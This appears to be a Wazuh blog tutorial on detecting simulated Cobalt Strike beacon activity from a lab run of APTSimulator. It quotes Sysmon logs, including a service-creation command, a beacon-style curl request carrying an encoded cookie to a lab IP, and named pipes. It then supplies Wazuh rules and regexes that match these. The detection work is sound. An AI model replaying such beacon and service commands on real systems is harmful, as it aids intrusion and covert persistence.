Detecting Cobalt Strike beacons using Wazuh
![Post icon](https://wazuh.com/uploads/2022/06/Circle-1.png)
Cobalt strike is a red team command and control framework used for adversary emulation. Due to its functionality and flexibility, it has been widely adopted by both red teams and threat actors. Multiple threat actors such as APT29, APT32, APT 41, APT19, UNC2452, FIN6 use cracked versions of Cobalt Strike in their attacks.
Cobalt Strike payloads called beacons are implanted on compromised endpoints and are controlled from a C2 server. In this blog post, we look at detecting some Cobalt Strike beacons using Wazuh. The presence of such beacons in your environment may indicate red teaming activity or malicious activity by threat actors with access to a cracked copy of Cobalt Strike.
Using the APTSimulator toolset, we simulated Cobalt Strike beacon activity, then wrote rules to detect it.
For the purpose of this simulation, we used the following infrastructure:
To configure the endpoint to capture more logs with Sysmon and send them to the Wazuh manager for analysis, we perform the following steps:
Sysmon64.exe -accepteula -i sysconfig.xml
ossec.conf
file to specify the location to collect Sysmon logs:<localfile> <location>Microsoft-Windows-Sysmon/Operational</location> <log_format>eventchannel</log_format> </localfile>
To run the APTSimulator, we perform the following steps:
cmd.exe
as Administrator.APTSimulator.bat
.Once APTSimulator.bat is running, choose “CobaltStrike Beacon Simulation” and let it run. This would generate Cobalt Strike beacon activity.
To stop the beacon activity, use CTRL + C.
When the simulation completes, we observe the following behavior from the logs generated:
EventType: CreatePipe UtcTime: 2022-04-20 11:55:03.377 ProcessGuid: {c64152da-f497-625f-a005-000000000c00} ProcessId: 8548 PipeName: \postex_ssh_fedac123 Image: C:\TMP\CreateNamedPipe.exe
Other pipes created were:
You can find regexes to detect other Cobalt Strike named pipes here.
UtcTime: 2022-04-20 11:55:16.307 ProcessGuid: {c64152da-7f8d-625e-eb03-000000000000} ProcessId: 4 Image: System TargetFilename: C:\Windows\b6a1458f396.exe CreationUtcTime: 2022-04-19 10:30:46.233
b6a1458f396
).RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-04-20 11:55:16.338 ProcessGuid: {c64152da-f4a4-625f-ac05-000000000c00} ProcessId: 3204 Image: C:\Windows\System32\sc.exe FileVersion: 10.0.19041.1 (WinBuild.160101.0800) Description: Service Control Manager Configuration Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: sc.exe CommandLine: sc create tbbd05 binpath= "%%COMSPEC%% /c echo b6a1458f396 > \\.\pipe\334485" DisplayName= "tbbd05" start= demand
CommandLine: "C:\Users\vagrant\simulator\APTSimulator\\helpers\curl.exe" -s -o /dev/null -I -H "Accept: */*" -H "Cookie: cdoWQelsAYyUlsEMuvbfEAfSxSWtkRwhm5OPfZ6K+400BQBsFlxwSSvsZ2IokquiUDKEPTip7MHL5VkYirf74WkZkc29LeJIt38HQA8E79bc2x9wMgnCz7U5mWXTMZLCQPdoc0VNqbpd2ytuxKRm9upFlCgB41h3hu1GrfDt0Q0=" -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUS)" -H "Connection: Keep-Alive" -H "Cache-Control: no-cache" http://10.0.2.15/pixel.gif CurrentDirectory: C:\Users\vagrant\simulator\APTSimulator\ User: DESKTOP-VAEP8K1\vagrant LogonGuid: {c64152da-7fad-625e-acb1-050000000000} LogonId: 0x5B1AC TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=C852A39B2BD53BE2F9CB35CF07D15D176795F47C,MD5=1673A392AAF4278D2084C224A08ABFF1,SHA256=92A112DEEA36D6D4D1BD265E2E4B200129DAB30AFE918115B77A92F68D38903D,IMPHASH=0B669CDDDC01A874708E074B055741F6 ParentProcessGuid: {c64152da-8ec8-625e-8a02-000000000c00} ParentProcessId: 8976 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe"
Wazuh provides rules for anomaly and threat detection. Based on these rules, we can create new rules to improve coverage for detection of Cobalt Strike beacon activity. We proceed to create rules to detect the identified beacon activity by modifying our local_rules.xml
file and adding the following rules:
<group name="local,cobalt_strike,beaconing,"> <rule id="100002" level="3"> <if_sid>61600</if_sid> <field name="win.system.eventID">^17$</field> <description>A pipe was created. Possible Cobalt Strike activity.</description> <mitre> <id>T1071</id> </mitre> </rule> <rule id="100003" level="14"> <if_sid>100002</if_sid> <field name="win.eventdata.pipeName" type="pcre2">(?i)MSSE-[0-9]{4}-server|msagent_[0-9a-f]{2}|postex</field> <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike beaconing activity was created.</description> <mitre> <id>T1071</id> </mitre> </rule> <rule id="100004" level="14"> <if_sid>100003</if_sid> <field name="win.eventdata.pipeName" type="pcre2">(?i)msagent_[0-9a-f]{2}</field> <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike SMB beaconing activity was created.</description> <mitre> <id>T1071</id> <id>T1572</id> </mitre> </rule> <rule id="100005" level="14"> <if_sid>100003</if_sid> <field name="win.eventdata.pipeName" type="pcre2">(?i)postex_ssh_[0-9a-f]{4}</field> <description>A named pipe $(win.eventdata.pipeName) associated with Cobalt Strike SSH beaconing activity was created.</description> <mitre> <id>T1071</id> <id>T1572</id> </mitre> </rule> </group>
<rule id="92205" level="6"> <if_group>sysmon_event_11</if_group> <field name="win.eventdata.image" type="pcre2">^System$</field> <field name="win.eventdata.targetFilename" type="pcre2">(?i)[c-z]:\\\\Windows\\\\.+(.exe$|\.dll)$</field> <description>Binary dropped in Windows root folder by System process. Possible abuse of Windows admin shares.</description> <mitre> <id>T1570</id> </mitre> </rule>
<group name="local,cobalt_strike,beaconing,"> <rule id="100010" level="0"> <if_sid>61603</if_sid> <field name="win.eventdata.originalFileName" type="pcre2">^sc.exe$</field> <description>The service control manager tool was used.</description> </rule> <rule id="100011" level="3"> <if_sid>100010</if_sid> <field name="win.eventdata.commandLine" type="pcre2">(?i)delete</field> <description>A service was deleted. Possible clean up of malicious activity.</description> <mitre> <id>T1050</id> <id>T1070</id> </mitre> </rule> </group>
<group name="local,cobalt_strike,beaconing,"> <rule id="100007" level="3"> <if_sid>61603</if_sid> <field name="win.eventdata.commandLine" type="pcre2">(?i)curl\.exe.+-s</field> <description>Curl - $(win.eventdata.image) - ran in silent mode.</description> </rule> <rule id="100008" level="3"> <if_sid>100007</if_sid> <field name="win.eventdata.commandLine" type="pcre2">(?i)-o</field> <description>Curl ran in silent mode and sent its output to a file.</description> </rule> <rule id="100009" level="10" timeframe="150" frequency="3"> <if_matched_sid>100008</if_matched_sid> <field name="win.eventdata.commandLine" type="pcre2">(?i)-o</field> <description>Curl ran in silent mode and sent its output to a file multiple times. Possible beaconing activity.</description> </rule> </group>
After the Wazuh rules to detect Cobalt Strike beacons have been added and the manager restarted, when the APTSimulator tool is run again on the Windows endpoint we see that the beaconing is detected and alerts are generated.
In this blog post, we successfully created rules to detect simulated Cobalt Strike beacon activity. It is possible to respond to these activities using the Wazuh active response module. Since Cobalt Strike has become a tool in the inventory of multiple threat actors, it is important to detect and respond to its activities to avoid breaches.